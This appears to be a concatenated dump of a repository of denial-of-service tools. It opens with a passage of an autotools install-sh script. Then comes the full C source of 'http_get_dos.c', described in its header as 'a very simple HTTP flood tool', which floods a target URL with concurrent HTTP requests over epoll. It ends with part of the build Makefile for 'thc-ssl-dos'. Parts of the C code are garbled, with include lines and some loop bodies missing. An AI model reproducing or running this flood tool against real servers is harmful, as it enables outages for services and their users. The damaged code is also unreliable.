156 | -s) stripcmd=$stripprog;; 157 | 158 | -t) dst_arg=$2 159 | shift;; 160 | 161 | -T) no_target_directory=true;; 162 | 163 | --version) echo "$0 $scriptversion"; exit $?;; 164 | 165 | --) shift 166 | break;; 167 | 168 | -*) echo "$0: invalid option: $1" >&2 169 | exit 1;; 170 | 171 | *) break;; 172 | esac 173 | shift 174 | done 175 | 176 | if test $# -ne 0 && test -z "$dir_arg$dst_arg"; then 177 | # When -d is used, all remaining arguments are directories to create. 178 | # When -t is used, the destination is already specified. 179 | # Otherwise, the last argument is the destination. Remove it from $@. 180 | for arg 181 | do 182 | if test -n "$dst_arg"; then 183 | # $@ is not empty: it contains at least $arg. 184 | set fnord "$@" "$dst_arg" 185 | shift # fnord 186 | fi 187 | shift # arg 188 | dst_arg=$arg 189 | done 190 | fi 191 | 192 | if test $# -eq 0; then 193 | if test -z "$dir_arg"; then 194 | echo "$0: no input file specified." >&2 195 | exit 1 196 | fi 197 | # It's OK to call `install-sh -d' without argument. 198 | # This can happen when creating conditional directories. 199 | exit 0 200 | fi 201 | 202 | if test -z "$dir_arg"; then 203 | trap '(exit $?); exit' 1 2 13 15 204 | 205 | # Set umask so as not to create temps with too-generous modes. 206 | # However, 'strip' requires both read and write access to temps. 207 | case $mode in 208 | # Optimize common cases. 209 | *644) cp_umask=133;; 210 | *755) cp_umask=22;; 211 | 212 | *[0-7]) 213 | if test -z "$stripcmd"; then 214 | u_plus_rw= 215 | else 216 | u_plus_rw='% 200' 217 | fi 218 | cp_umask=`expr '(' 777 - $mode % 1000 ')' $u_plus_rw`;; 219 | *) 220 | if test -z "$stripcmd"; then 221 | u_plus_rw= 222 | else 223 | u_plus_rw=,u+rw 224 | fi 225 | cp_umask=$mode$u_plus_rw;; 226 | esac 227 | fi 228 | 229 | for src 230 | do 231 | # Protect names starting with `-'. 232 | case $src in 233 | -*) src=./$src;; 234 | esac 235 | 236 | if test -n "$dir_arg"; then 237 | dst=$src 238 | dstdir=$dst 239 | test -d "$dstdir" 240 | dstdir_status=$? 241 | else 242 | 243 | # Waiting for this to be detected by the "$cpprog $src $dsttmp" command 244 | # might cause directories to be created, which would be especially bad 245 | # if $src (and thus $dsttmp) contains '*'. 246 | if test ! -f "$src" && test ! -d "$src"; then 247 | echo "$0: $src does not exist." >&2 248 | exit 1 249 | fi 250 | 251 | if test -z "$dst_arg"; then 252 | echo "$0: no destination specified." >&2 253 | exit 1 254 | fi 255 | 256 | dst=$dst_arg 257 | # Protect names starting with `-'. 258 | case $dst in 259 | -*) dst=./$dst;; 260 | esac 261 | 262 | # If destination is a directory, append the input filename; won't work 263 | # if double slashes aren't ignored. 264 | if test -d "$dst"; then 265 | if test -n "$no_target_directory"; then 266 | echo "$0: $dst_arg: Is a directory" >&2 267 | exit 1 268 | fi 269 | dstdir=$dst 270 | dst=$dstdir/`basename "$src"` 271 | dstdir_status=0 272 | else 273 | # Prefer dirname, but fall back on a substitute if dirname fails. 274 | dstdir=` 275 | (dirname "$dst") 2>/dev/null || 276 | expr X"$dst" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ 277 | X"$dst" : 'X\(//\)[^/]' \| \ 278 | X"$dst" : 'X\(//\)$' \| \ 279 | X"$dst" : 'X\(/\)' \| . 2>/dev/null || 280 | echo X"$dst" | 281 | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ 282 | s//\1/ 283 | q 284 | } 285 | /^X\(\/\/\)[^/].*/{ 286 | s//\1/ 287 | q 288 | } 289 | /^X\(\/\/\)$/{ 290 | s//\1/ 291 | q 292 | } 293 | /^X\(\/\).*/{ 294 | s//\1/ 295 | q 296 | } 297 | s/.*/./; q' 298 | ` 299 | 300 | test -d "$dstdir" 301 | dstdir_status=$? 302 | fi 303 | fi 304 | 305 | obsolete_mkdir_used=false 306 | 307 | if test $dstdir_status != 0; then 308 | case $posix_mkdir in 309 | '') 310 | # Create intermediate dirs using mode 755 as modified by the umask. 311 | # This is like FreeBSD 'install' as of 1997-10-28. 312 | umask=`umask` 313 | case $stripcmd.$umask in 314 | # Optimize common cases. 315 | *[2367][2367]) mkdir_umask=$umask;; 316 | .*0[02][02] | .[02][02] | .[02]) mkdir_umask=22;; 317 | 318 | *[0-7]) 319 | mkdir_umask=`expr $umask + 22 \ 320 | - $umask % 100 % 40 + $umask % 20 \ 321 | - $umask % 10 % 4 + $umask % 2 322 | `;; 323 | *) mkdir_umask=$umask,go-w;; 324 | esac 325 | 326 | # With -d, create the new directory with the user-specified mode. 327 | # Otherwise, rely on $mkdir_umask. 328 | if test -n "$dir_arg"; then 329 | mkdir_mode=-m$mode 330 | else 331 | mkdir_mode= 332 | fi 333 | 334 | posix_mkdir=false 335 | case $umask in 336 | *[123567][0-7][0-7]) 337 | # POSIX mkdir -p sets u+wx bits regardless of umask, which 338 | # is incompatible with FreeBSD 'install' when (umask & 300) != 0. 339 | ;; 340 | *) 341 | tmpdir=${TMPDIR-/tmp}/ins$RANDOM-$$ 342 | trap 'ret=$?; rmdir "$tmpdir/d" "$tmpdir" 2>/dev/null; exit $ret' 0 343 | 344 | if (umask $mkdir_umask && 345 | exec $mkdirprog $mkdir_mode -p -- "$tmpdir/d") >/dev/null 2>&1 346 | then 347 | if test -z "$dir_arg" || { 348 | # Check for POSIX incompatibilities with -m. 349 | # HP-UX 11.23 and IRIX 6.5 mkdir -m -p sets group- or 350 | # other-writeable bit of parent directory when it shouldn't. 351 | # FreeBSD 6.1 mkdir -m -p sets mode of existing directory. 352 | ls_ld_tmpdir=`ls -ld "$tmpdir"` 353 | case $ls_ld_tmpdir in 354 | d????-?r-*) different_mode=700;; 355 | d????-?--*) different_mode=755;; 356 | *) false;; 357 | esac && 358 | $mkdirprog -m$different_mode -p -- "$tmpdir" && { 359 | ls_ld_tmpdir_1=`ls -ld "$tmpdir"` 360 | test "$ls_ld_tmpdir" = "$ls_ld_tmpdir_1" 361 | } 362 | } 363 | then posix_mkdir=: 364 | fi 365 | rmdir "$tmpdir/d" "$tmpdir" 366 | else 367 | # Remove any dirs left behind by ancient mkdir implementations. 368 | rmdir ./$mkdir_mode ./-p ./-- 2>/dev/null 369 | fi 370 | trap '' 0;; 371 | esac;; 372 | esac 373 | 374 | if 375 | $posix_mkdir && ( 376 | umask $mkdir_umask && 377 | $doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir" 378 | ) 379 | then : 380 | else 381 | 382 | # The umask is ridiculous, or mkdir does not conform to POSIX, 383 | # or it failed possibly due to a race condition. Create the 384 | # directory the slow way, step by step, checking for races as we go. 385 | 386 | case $dstdir in 387 | /*) prefix='/';; 388 | -*) prefix='./';; 389 | *) prefix='';; 390 | esac 391 | 392 | eval "$initialize_posix_glob" 393 | 394 | oIFS=$IFS 395 | IFS=/ 396 | $posix_glob set -f 397 | set fnord $dstdir 398 | shift 399 | $posix_glob set +f 400 | IFS=$oIFS 401 | 402 | prefixes= 403 | 404 | for d 405 | do 406 | test -z "$d" && continue 407 | 408 | prefix=$prefix$d 409 | if test -d "$prefix"; then 410 | prefixes= 411 | else 412 | if $posix_mkdir; then 413 | (umask=$mkdir_umask && 414 | $doit_exec $mkdirprog $mkdir_mode -p -- "$dstdir") && break 415 | # Don't fail if two instances are running concurrently. 416 | test -d "$prefix" || exit 1 417 | else 418 | case $prefix in 419 | *\'*) qprefix=`echo "$prefix" | sed "s/'/'\\\\\\\\''/g"`;; 420 | *) qprefix=$prefix;; 421 | esac 422 | prefixes="$prefixes '$qprefix'" 423 | fi 424 | fi 425 | prefix=$prefix/ 426 | done 427 | 428 | if test -n "$prefixes"; then 429 | # Don't fail if two instances are running concurrently. 430 | (umask $mkdir_umask && 431 | eval "\$doit_exec \$mkdirprog $prefixes") || 432 | test -d "$dstdir" || exit 1 433 | obsolete_mkdir_used=true 434 | fi 435 | fi 436 | fi 437 | 438 | if test -n "$dir_arg"; then 439 | { test -z "$chowncmd" || $doit $chowncmd "$dst"; } && 440 | { test -z "$chgrpcmd" || $doit $chgrpcmd "$dst"; } && 441 | { test "$obsolete_mkdir_used$chowncmd$chgrpcmd" = false || 442 | test -z "$chmodcmd" || $doit $chmodcmd $mode "$dst"; } || exit 1 443 | else 444 | 445 | # Make a couple of temp file names in the proper directory. 446 | dsttmp=$dstdir/_inst.$$_ 447 | rmtmp=$dstdir/_rm.$$_ 448 | 449 | # Trap to clean up those temp files at exit. 450 | trap 'ret=$?; rm -f "$dsttmp" "$rmtmp" && exit $ret' 0 451 | 452 | # Copy the file name to the temp name. 453 | (umask $cp_umask && $doit_exec $cpprog "$src" "$dsttmp") && 454 | 455 | # and set any options; do chmod last to preserve setuid bits. 456 | # 457 | # If any of these fail, we abort the whole thing. If we want to 458 | # ignore errors from any of these, just make sure not to ignore 459 | # errors from the above "$doit $cpprog $src $dsttmp" command. 460 | # 461 | { test -z "$chowncmd" || $doit $chowncmd "$dsttmp"; } && 462 | { test -z "$chgrpcmd" || $doit $chgrpcmd "$dsttmp"; } && 463 | { test -z "$stripcmd" || $doit $stripcmd "$dsttmp"; } && 464 | { test -z "$chmodcmd" || $doit $chmodcmd $mode "$dsttmp"; } && 465 | 466 | # If -C, don't bother to copy if it wouldn't change the file. 467 | if $copy_on_change && 468 | old=`LC_ALL=C ls -dlL "$dst" 2>/dev/null` && 469 | new=`LC_ALL=C ls -dlL "$dsttmp" 2>/dev/null` && 470 | 471 | eval "$initialize_posix_glob" && 472 | $posix_glob set -f && 473 | set X $old && old=:$2:$4:$5:$6 && 474 | set X $new && new=:$2:$4:$5:$6 && 475 | $posix_glob set +f && 476 | 477 | test "$old" = "$new" && 478 | $cmpprog "$dst" "$dsttmp" >/dev/null 2>&1 479 | then 480 | rm -f "$dsttmp" 481 | else 482 | # Rename the file to the real destination. 483 | $doit $mvcmd -f "$dsttmp" "$dst" 2>/dev/null || 484 | 485 | # The rename failed, perhaps because mv can't rename something else 486 | # to itself, or perhaps because mv is so ancient that it does not 487 | # support -f. 488 | { 489 | # Now remove or move aside any old file at destination location. 490 | # We try this two ways since rm can't unlink itself on some 491 | # systems and the destination file might be busy for other 492 | # reasons. In this case, the final cleanup might fail but the new 493 | # file should still install successfully. 494 | { 495 | test ! -f "$dst" || 496 | $doit $rmcmd -f "$dst" 2>/dev/null || 497 | { $doit $mvcmd -f "$dst" "$rmtmp" 2>/dev/null && 498 | { $doit $rmcmd -f "$rmtmp" 2>/dev/null; :; } 499 | } || 500 | { echo "$0: cannot unlink or rename $dst" >&2 501 | (exit 1); exit 1 502 | } 503 | } && 504 | 505 | # Now rename the file to the real destination. 506 | $doit $mvcmd "$dsttmp" "$dst" 507 | } 508 | fi || exit 1 509 | 510 | trap '' 0 511 | fi 512 | done 513 | 514 | # Local variables: 515 | # eval: (add-hook 'write-file-hooks 'time-stamp) 516 | # time-stamp-start: "scriptversion=" 517 | # time-stamp-format: "%:y-%02m-%02d.%02H" 518 | # time-stamp-time-zone: "UTC" 519 | # time-stamp-end: "; # UTC" 520 | # End: 521 | -------------------------------------------------------------------------------- /http-get-dos/http_get_dos.c: -------------------------------------------------------------------------------- 1 | /* A very simple HTTP flood tool 2 | * 3 | * Copyright (c) 2012, Angelo Marletta 4 | * All rights reserved. 5 | * 6 | * Redistribution and use in source and binary forms, with or without 7 | * modification, are permitted provided that the following conditions are met: 8 | * 9 | * * Redistributions of source code must retain the above copyright notice, 10 | * this list of conditions and the following disclaimer. 11 | * * Redistributions in binary form must reproduce the above copyright 12 | * notice, this list of conditions and the following disclaimer in the 13 | * documentation and/or other materials provided with the distribution. 14 | * * Neither the name of Redis nor the names of its contributors may be used 15 | * to endorse or promote products derived from this software without 16 | * specific prior written permission. 17 | * 18 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 19 | * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 21 | * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 22 | * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 23 | * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 24 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 25 | * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 26 | * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 27 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 28 | * POSSIBILITY OF SUCH DAMAGE. 29 | */ 30 | 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | 44 | #include 45 | #include 46 | #include 47 | #include 48 | 49 | #define MAX_EVENTS 64 50 | #define MAX_HEADERS 256 51 | #define WRITE_BUFFER_SIZE 1024 52 | #define READ_BUFFER_SIZE 16384 53 | #define CONTENT_LENGTH "Content-Length" 54 | #define CHUNKED_HEADER "Transfer-Encoding: chunked" 55 | #define LAST_CHUNK "0\r\n\r\n" 56 | 57 | struct http_client { 58 | int sockfd; 59 | int pending; 60 | int transfer; 61 | }; 62 | 63 | enum transfer_mode { 64 | UNKNOWN, 65 | FIXED, 66 | CHUNKED 67 | }; 68 | 69 | struct endpoint { 70 | char *protocol; 71 | char *host; 72 | int port; 73 | char *path; 74 | }; 75 | 76 | int concurrency = 1; 77 | int max_requests = -1; 78 | int max_time = -1; 79 | char *headers[MAX_HEADERS]; 80 | struct endpoint target; 81 | 82 | void error(const char *msg) { 83 | perror(msg); 84 | exit(1); 85 | } 86 | 87 | void set_non_blocking(int sockfd) 88 | { 89 | int flags; 90 | if ((flags = fcntl(sockfd, F_GETFL, 0)) == -1) 91 | flags = 0; 92 | if (fcntl(sockfd, F_SETFL, flags | O_NONBLOCK) != 0) 93 | error("fcntl"); 94 | } 95 | 96 | struct addrinfo *getaddr(const char *hostname, int port) { 97 | int ret = 0; 98 | struct addrinfo hints; 99 | struct addrinfo *result; 100 | char buffer[16]; 101 | memset (&hints, 0, sizeof(struct addrinfo)); 102 | hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */ 103 | hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */ 104 | hints.ai_flags = AI_PASSIVE; /* All interfaces */ 105 | sprintf(buffer, "%d", port); 106 | ret = getaddrinfo(hostname, buffer, NULL, &result); 107 | if (ret < 0) { 108 | error("getaddrinfo"); 109 | } 110 | return result; 111 | } 112 | 113 | void freeaddr(struct addrinfo *addr) { 114 | freeaddrinfo(addr); 115 | } 116 | 117 | void http_connect(struct http_client *client, struct addrinfo *addr) 118 | { 119 | int sockfd = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol); 120 | if (sockfd == -1) { 121 | error("Cannot create the socket!"); 122 | } 123 | set_non_blocking(sockfd); 124 | if (connect(sockfd, addr->ai_addr, addr->ai_addrlen) != 0 && errno == EINPROGRESS) { 125 | client->sockfd = sockfd; 126 | return; 127 | } 128 | else { 129 | printf("ERR %d\n", errno); 130 | } 131 | client->pending = 0; 132 | client->transfer = 0; 133 | } 134 | 135 | void http_close(struct http_client *client) 136 | { 137 | shutdown(client->sockfd, SHUT_RDWR); 138 | close(client->sockfd); 139 | } 140 | 141 | void http_send_request(struct http_client *client, char *buffer, int length) 142 | { 143 | int ret = send(client->sockfd, buffer, length, 0); 144 | if (ret < 0) { 145 | error("write"); 146 | } 147 | client->pending++; 148 | } 149 | 150 | int read_status_line(char *buffer) { 151 | char *start = strchr(buffer, ' '); 152 | int status = strtol(start, NULL, 10); 153 | return status; 154 | } 155 | 156 | int read_http_header(char *buffer, char **key, char **value, int *key_length, int *value_length) { 157 | *key = buffer; 158 | *value = strchr(*key, ':') + 2; 159 | if (*value == NULL) return -1; 160 | *key_length = *value - *key - 2; 161 | *value_length = strchr(*value, '\r') - *value; 162 | return *key_length + *value_length + 4; 163 | } 164 | 165 | char *read_next_line(const char *buffer, int *bytes_read) 166 | { 167 | char *new_line = strstr((char*)buffer, "\r\n"); 168 | if (new_line == NULL) { 169 | *bytes_read = strlen(buffer); 170 | return NULL; 171 | } 172 | *bytes_read = new_line + 2 - buffer; 173 | return new_line + 2; 174 | } 175 | 176 | int http_read_response(struct http_client *client) 177 | { 178 | static char read_buffer[READ_BUFFER_SIZE]; 179 | int ret; 180 | ret = read(client->sockfd, read_buffer, sizeof(read_buffer)); 181 | if (ret == sizeof(read_buffer)) { 182 | error("Read buffer filled up! This is not implemented yet :("); 183 | } 184 | if (ret > 0) { 185 | read_buffer[ret] = '\0'; 186 | int response_count = 0; 187 | char *buffer_ptr = read_buffer; 188 | if (client->transfer == 1) { 189 | char *last = strstr(buffer_ptr, LAST_CHUNK); 190 | if (last != NULL) { 191 | buffer_ptr = last + sizeof(LAST_CHUNK); 192 | client->transfer = 0; 193 | response_count = 1; 194 | } 195 | } 196 | while (buffer_ptr < read_buffer + ret) { 197 | // parse response 198 | enum transfer_mode mode = UNKNOWN; 199 | int status = read_status_line(buffer_ptr); 200 | int content_length = -1; 201 | int read_bytes = 0; 202 | while ((buffer_ptr = read_next_line(buffer_ptr, &read_bytes)) != NULL) { 203 | if (read_bytes == 2) { 204 | //headers read 205 | break; 206 | } 207 | if (mode == UNKNOWN) { 208 | if (strncasecmp(buffer_ptr, CONTENT_LENGTH, sizeof(CONTENT_LENGTH)-1) == 0) { 209 | content_length = atoi(buffer_ptr + sizeof(CONTENT_LENGTH) + 1); 210 | mode = FIXED; 211 | } 212 | else if (strncasecmp(buffer_ptr, CHUNKED_HEADER, sizeof(CHUNKED_HEADER)-1) == 0) { 213 | mode = CHUNKED; 214 | } 215 | } 216 | } 217 | if (mode == FIXED) { 218 | buffer_ptr += content_length; 219 | response_count++; 220 | } 221 | else if (mode == CHUNKED) { 222 | char *last = strstr(buffer_ptr, LAST_CHUNK); 223 | if (last == NULL) { 224 | client->transfer = 1; 225 | buffer_ptr += strlen(buffer_ptr); 226 | } 227 | else { 228 | response_count++; 229 | buffer_ptr = last + sizeof(LAST_CHUNK); 230 | } 231 | } 232 | else { 233 | printf("Cannot detect the transfer mode\n"); 234 | exit(1); 235 | } 236 | } 237 | client->pending -= response_count; 238 | return response_count; 239 | } 240 | else if (ret < 0 && errno == EAGAIN) { 241 | printf("Try again!\n"); 242 | return 0; 243 | } 244 | else { 245 | error("read"); 246 | return -1; 247 | } 248 | } 249 | 250 | void run() 251 | { 252 | int i, j; 253 | int ret; 254 | int efd; 255 | char write_buffer[WRITE_BUFFER_SIZE]; 256 | struct http_client clients[concurrency]; 257 | struct epoll_event ev[concurrency], *events; 258 | 259 | efd = epoll_create1(0); 260 | if (efd < 0) { 261 | error("epoll_create"); 262 | } 263 | 264 | memset(clients, 0, sizeof(struct http_client) * concurrency); 265 | struct addrinfo *target_addr = getaddr(target.host, target.port); 266 | for (j=0; jsockfd, &ev[client_id]); 312 | 313 | if (ret < 0) { 314 | error("epoll_ctl"); 315 | } 316 | if (client->pending) { 317 | request_count -= client->pending; 318 | client->pending = 0; 319 | } 320 | continue; 321 | } 322 | if (events[i].events & EPOLLERR) 323 | { 324 | error("EPOLLERR"); 325 | goto exit_loop; 326 | } 327 | if (events[i].events & EPOLLHUP) 328 | { 329 | error("EPOLLHUP"); 330 | goto exit_loop; 331 | } 332 | if (events[i].events & EPOLLIN) { 333 | // socket ready for reading 334 | int num_response = http_read_response(client); 335 | response_count += num_response; 336 | } 337 | if ((events[i].events & EPOLLOUT && (max_requests == -1 || request_count < max_requests))) { 338 | // socket ready for writing 339 | if (client->pending == 0) { 340 | http_send_request(client, write_buffer, write_buffer_length); 341 | request_count++; 342 | } 343 | } 344 | } 345 | //TODO estimate rate and print it from time to time 346 | } 347 | exit_loop: 348 | freeaddr(target_addr); 349 | free(events); 350 | close(efd); 351 | printf("Requests sent: %d\n", request_count); 352 | printf("Responses received: %d\n", response_count); 353 | for (j=0; jhost = malloc(hostlen + 1); 391 | ep->path = malloc(pathlen + 1); 392 | memcpy(ep->host, url + pmatch[2].rm_so, hostlen); 393 | memcpy(ep->path, url + pmatch[4].rm_so, pathlen); 394 | ep->host[hostlen] = '\0'; 395 | ep->path[pathlen] = '\0'; 396 | if (pmatch[3].rm_so == pmatch[3].rm_eo) 397 | ep->port = 80; 398 | else 399 | ep->port = atoi(url + pmatch[3].rm_so); 400 | return 0; 401 | } 402 | 403 | int main(int argc, char **argv) 404 | { 405 | const char* short_options = "+n:c:H:h"; 406 | const struct option long_options[] = { 407 | { "requests", required_argument, NULL, 'n' }, 408 | { "concurrency", required_argument, NULL, 'c' }, 409 | { "header", required_argument, NULL, 'H' }, 410 | { "help", no_argument, NULL, 'h' }, 411 | { 0, 0, 0, 0 } 412 | }; 413 | int next_option; 414 | int option_index = 0; 415 | int count = 0; 416 | int header_count = 0; 417 | do { 418 | next_option = getopt_long(argc, argv, short_options, long_options, &option_index); 419 | count++; 420 | switch(next_option) { 421 | case 'n': 422 | max_requests = atoi(optarg); 423 | break; 424 | case 'c': 425 | concurrency = atoi(optarg); 426 | break; 427 | case 'H': 428 | headers[header_count++] = optarg; 429 | break; 430 | case 'h': 431 | print_usage(stdout, 1); 432 | case -1: 433 | break; 434 | default: 435 | abort(); 436 | } 437 | } while(next_option != -1); 438 | if (argc < optind + 1) { 439 | //missing URL 440 | print_usage(stderr, 1); 441 | } 442 | headers[header_count] = NULL; 443 | char *url = argv[optind]; 444 | if (parse_url(url, &target)) { 445 | printf("Unable to parse URL %s\n", url); 446 | exit(1); 447 | } 448 | run(); 449 | return 0; 450 | } 451 | -------------------------------------------------------------------------------- /thc-ssl-dos/src/Makefile.in: -------------------------------------------------------------------------------- 1 | # Makefile.in generated by automake 1.11.1 from Makefile.am. 2 | # @configure_input@ 3 | 4 | # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 5 | # 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation, 6 | # Inc. 7 | # This Makefile.in is free software; the Free Software Foundation 8 | # gives unlimited permission to copy and/or distribute it, 9 | # with or without modifications, as long as this notice is preserved. 10 | 11 | # This program is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY, to the extent permitted by law; without 13 | # even the implied warranty of MERCHANTABILITY or FITNESS FOR A 14 | # PARTICULAR PURPOSE. 15 | 16 | @SET_MAKE@ 17 | 18 | 19 | VPATH = @srcdir@ 20 | pkgdatadir = $(datadir)/@PACKAGE@ 21 | pkgincludedir = $(includedir)/@PACKAGE@ 22 | pkglibdir = $(libdir)/@PACKAGE@ 23 | pkglibexecdir = $(libexecdir)/@PACKAGE@ 24 | am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd 25 | install_sh_DATA = $(install_sh) -c -m 644 26 | install_sh_PROGRAM = $(install_sh) -c 27 | install_sh_SCRIPT = $(install_sh) -c 28 | INSTALL_HEADER = $(INSTALL_DATA) 29 | transform = $(program_transform_name) 30 | NORMAL_INSTALL = : 31 | PRE_INSTALL = : 32 | POST_INSTALL = : 33 | NORMAL_UNINSTALL = : 34 | PRE_UNINSTALL = : 35 | POST_UNINSTALL = : 36 | build_triplet = @build@ 37 | host_triplet = @host@ 38 | target_triplet = @target@ 39 | bin_PROGRAMS = thc-ssl-dos$(EXEEXT) 40 | subdir = src 41 | DIST_COMMON = $(noinst_HEADERS) $(srcdir)/Makefile.am \ 42 | $(srcdir)/Makefile.in 43 | ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 44 | am__aclocal_m4_deps = $(top_srcdir)/configure.in 45 | am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ 46 | $(ACLOCAL_M4) 47 | mkinstalldirs = $(install_sh) -d 48 | CONFIG_HEADER = $(top_builddir)/config.h 49 | CONFIG_CLEAN_FILES = 50 | CONFIG_CLEAN_VPATH_FILES = 51 | am__installdirs = "$(DESTDIR)$(bindir)" 52 | PROGRAMS = $(bin_PROGRAMS) 53 | thc_ssl_dos_SOURCES = thc-ssl-dos.c 54 | thc_ssl_dos_OBJECTS = thc-ssl-dos.$(OBJEXT) 55 | thc_ssl_dos_LDADD = $(LDADD) 56 | DEFAULT_INCLUDES = -I.@am__isrc@ -I$(top_builddir) 57 | depcomp = $(SHELL) $(top_srcdir)/config/depcomp 58 | am__depfiles_maybe = depfiles 59 | am__mv = mv -f 60 | COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ 61 | $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) 62 | CCLD = $(CC) 63 | LINK = $(CCLD) $(AM_CFLAGS) $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS) -o $@ 64 | SOURCES = thc-ssl-dos.c 65 | DIST_SOURCES = thc-ssl-dos.c 66 | HEADERS = $(noinst_HEADERS) 67 | ETAGS = etags 68 | CTAGS = ctags 69 | DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) 70 | ACLOCAL = @ACLOCAL@ 71 | AMTAR = @AMTAR@ 72 | AUTOCONF = @AUTOCONF@ 73 | AUTOHEADER = @AUTOHEADER@ 74 | AUTOMAKE = @AUTOMAKE@ 75 | AWK = @AWK@ 76 | CC = @CC@ 77 | CCDEPMODE = @CCDEPMODE@ 78 | CFLAGS = @CFLAGS@ 79 | CPP = @CPP@ 80 | CPPFLAGS = @CPPFLAGS@ 81 | CYGPATH_W = @CYGPATH_W@ 82 | DEFS = @DEFS@ 83 | DEPDIR = @DEPDIR@ 84 | ECHO_C = @ECHO_C@ 85 | ECHO_N = @ECHO_N@ 86 | ECHO_T = @ECHO_T@ 87 | EGREP = @EGREP@ 88 | EXEEXT = @EXEEXT@ 89 | GREP = @GREP@ 90 | INSTALL = @INSTALL@ 91 | INSTALL_DATA = @INSTALL_DATA@ 92 | INSTALL_PROGRAM = @INSTALL_PROGRAM@ 93 | INSTALL_SCRIPT = @INSTALL_SCRIPT@ 94 | INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ 95 | LDFLAGS = @LDFLAGS@ 96 | LIBOBJS = @LIBOBJS@ 97 | LIBS = @LIBS@ 98 | LTLIBOBJS = @LTLIBOBJS@ 99 | MAKEINFO = @MAKEINFO@ 100 | MKDIR_P = @MKDIR_P@ 101 | OBJEXT = @OBJEXT@ 102 | PACKAGE = @PACKAGE@ 103 | PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ 104 | PACKAGE_NAME = @PACKAGE_NAME@ 105 | PACKAGE_STRING = @PACKAGE_STRING@ 106 | PACKAGE_TARNAME = @PACKAGE_TARNAME@ 107 | PACKAGE_URL = @PACKAGE_URL@ 108 | PACKAGE_VERSION = @PACKAGE_VERSION@ 109 | PATH_SEPARATOR = @PATH_SEPARATOR@ 110 | RANLIB = @RANLIB@ 111 | SET_MAKE = @SET_MAKE@ 112 | SHELL = @SHELL@ 113 | STRIP = @STRIP@ 114 | VERSION = @VERSION@ 115 | abs_builddir = @abs_builddir@ 116 | abs_srcdir = @abs_srcdir@ 117 | abs_top_builddir = @abs_top_builddir@ 118 | abs_top_srcdir = @abs_top_srcdir@ 119 | ac_ct_CC = @ac_ct_CC@ 120 | am__include = @am__include@ 121 | am__leading_dot = @am__leading_dot@ 122 | am__quote = @am__quote@ 123 | am__tar = @am__tar@ 124 | am__untar = @am__untar@ 125 | bindir = @bindir@ 126 | build = @build@ 127 | build_alias = @build_alias@ 128 | build_cpu = @build_cpu@ 129 | build_os = @build_os@ 130 | build_vendor = @build_vendor@ 131 | builddir = @builddir@ 132 | datadir = @datadir@ 133 | datarootdir = @datarootdir@ 134 | docdir = @docdir@ 135 | dvidir = @dvidir@ 136 | exec_prefix = @exec_prefix@ 137 | host = @host@ 138 | host_alias = @host_alias@ 139 | host_cpu = @host_cpu@ 140 | host_os = @host_os@ 141 | host_vendor = @host_vendor@ 142 | htmldir = @htmldir@ 143 | includedir = @includedir@ 144 | infodir = @infodir@ 145 | install_sh = @install_sh@ 146 | libdir = @libdir@ 147 | libexecdir = @libexecdir@ 148 | localedir = @localedir@ 149 | localstatedir = @localstatedir@ 150 | mandir = @mandir@ 151 | mkdir_p = @mkdir_p@ 152 | oldincludedir = @oldincludedir@ 153 | pdfdir = @pdfdir@ 154 | prefix = @prefix@ 155 | program_transform_name = @program_transform_name@ 156 | psdir = @psdir@ 157 | sbindir = @sbindir@ 158 | sharedstatedir = @sharedstatedir@ 159 | srcdir = @srcdir@ 160 | sysconfdir = @sysconfdir@ 161 | target = @target@ 162 | target_alias = @target_alias@ 163 | target_cpu = @target_cpu@ 164 | target_os = @target_os@ 165 | target_vendor = @target_vendor@ 166 | top_build_prefix = @top_build_prefix@ 167 | top_builddir = @top_builddir@ 168 | top_srcdir = @top_srcdir@ 169 | thc_ssl_down_SOURCES = thc-ssl-dos.c 170 | noinst_HEADERS = common.h 171 | all: all-am 172 | 173 | .SUFFIXES: 174 | .SUFFIXES: .c .o .obj 175 | $(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) 176 | @for dep in $?; do \ 177 | case '$(am__configure_deps)' in \ 178 | *$$dep*) \ 179 | ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ 180 | && { if test -f $@; then exit 0; else break; fi; }; \ 181 | exit 1;; \ 182 | esac; \ 183 | 